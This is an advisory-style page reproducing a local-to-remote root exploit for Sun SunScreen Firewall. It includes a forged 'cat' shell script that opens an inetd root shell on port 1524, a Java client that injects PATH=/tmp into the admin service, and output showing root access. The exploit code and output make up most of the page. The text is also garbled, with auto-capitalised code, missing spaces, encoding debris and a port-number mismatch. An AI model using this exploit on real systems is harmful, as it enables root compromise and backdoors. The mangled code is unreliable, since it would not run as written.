Source: lumon Technology
Affected Systems:
Sun SunScreen Firewall
Description:
------------------------------------------------------------------------------
SunScreen Firewall is a Firewall running on the Solaris operating system of Sun Microsystem.
A security vulnerability exists in the implementation of SunScreen Firewall. Local attackers can exploit this vulnerability to execute arbitrary commands as root.
/*
Sun Microsystems SunScreen Firewall Root Exploit
Discovered & exploited by Kingdom
January 2011
The SunScreen Firewall can be administrated remotely via a java protocol service
Which is running on port 3858 on a SunOS machine.
This Java Service contains numerous buffer overruns (2 of which I am aware ).
Furthermore it is possible to execute arbitrary code if an attacker manages
To upload a file onto the target system.
As you can see in the following java exploit code the environment
Is not properly sanitized prior to executing shell scripts as root,
Thus one can use the LD technique to preload binaries or even easier
Modify the PATH variable to forge the & #65533; cat & #65533; binary (which is executed by lib/screenname)
To be executed in a different place.
This can be exploited locally-remotely especially if anonymous ftp uploads
Are possible or any other file transfer protocol is activated. Uploading
A file via the line printer daemon might also be possible.
This has been tested on a sunoperating 5.9.
The shell script to be forged as the & #65533; cat & #65533; binary ..
#! /Bin/sh
Echo "ingreslock stream tcp nowait root/bin/sh-I">/tmp/x;
/Usr/sbin/inetd-s/tmp/x;/bin/rm-f/tmp/x
Echo "++ we owned ya ++"
#---
Upload abve shell script to/PATH/cat
Chmod a + x/PATH/cat
Supply target and PATH envvar to exploit
Opens a root shell on port 1524/tcp (ingreslock)
A successfull exploit looks like
$ Java SimpleClient
& #65533 ;? ?? & #65533 ;? & Connection accepted, no authentication & #65533 ;? O
++ We owned ya ++ WE OWNED Y
A ++
$ Telnet 192.168.2.3 1524
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is ^].
#/Bin/uname-;
SunOS unknown 5.9 Generic_118558-34 sun4u iSCSI SUNW, Ultra-5_10
^ M: not found
#/B
In/id;
Uid = 0 (root) gid = 1 (other)
^ M: not found
#
*/
Import java.net .*;
Import java. io .*;
Import java. util .*;
Import java. text. DateFormat;
Public class SimpleClient {
Public static void main (String args []) {
String str;
Try {
Socket s1 = new Socket ("192.168.2.3", 3853 );
InputStream is = s1.getInputStream ();
DataInputStream dis = new DataInputStream (is );
OutputStream s1out = s1.getOutputStream ();
DataOutputStream dos = new DataOutputStream (s1out );
Dos. writeByte (1 );
Dos. writeByte (0 );
Dos. writeShort (0 );
Dos. writeInt (0 );
Dos. writeByte (3 );
Dos. writeByte (0 );
Dos. writeShort (2000 );
Dos. writeShort (0 );
Dos. writeShort (0 );
Dos. writeUTF ("0 xtest ");
Dos. writeByte (3 );
Dos. writeByte (1 );
Dos. writeByte (1 );
Dos. writeByte (1 );
Dos. writeInt (3 );
Dos. writeInt (0 );
Dos. writeInt (0 );
Dos. writeUTF ("PATH =/tmp ");
Dos. writeUTF ("lib/screenname ");
Dos. writeUTF ("admin1 ");
Str = dis. readLine ();
System. out. println (str );
Str = dis. readLine ();
System. out. println (str );
Dis. close ();
Dos. close ();
S1.close ();
} Catch (ConnectException connExc ){
System. err. println ("cocould not connect to the server .");
} Catch (IOException e ){
// Foo
}
}
}
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Sun
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://sunsolve.sun.com/security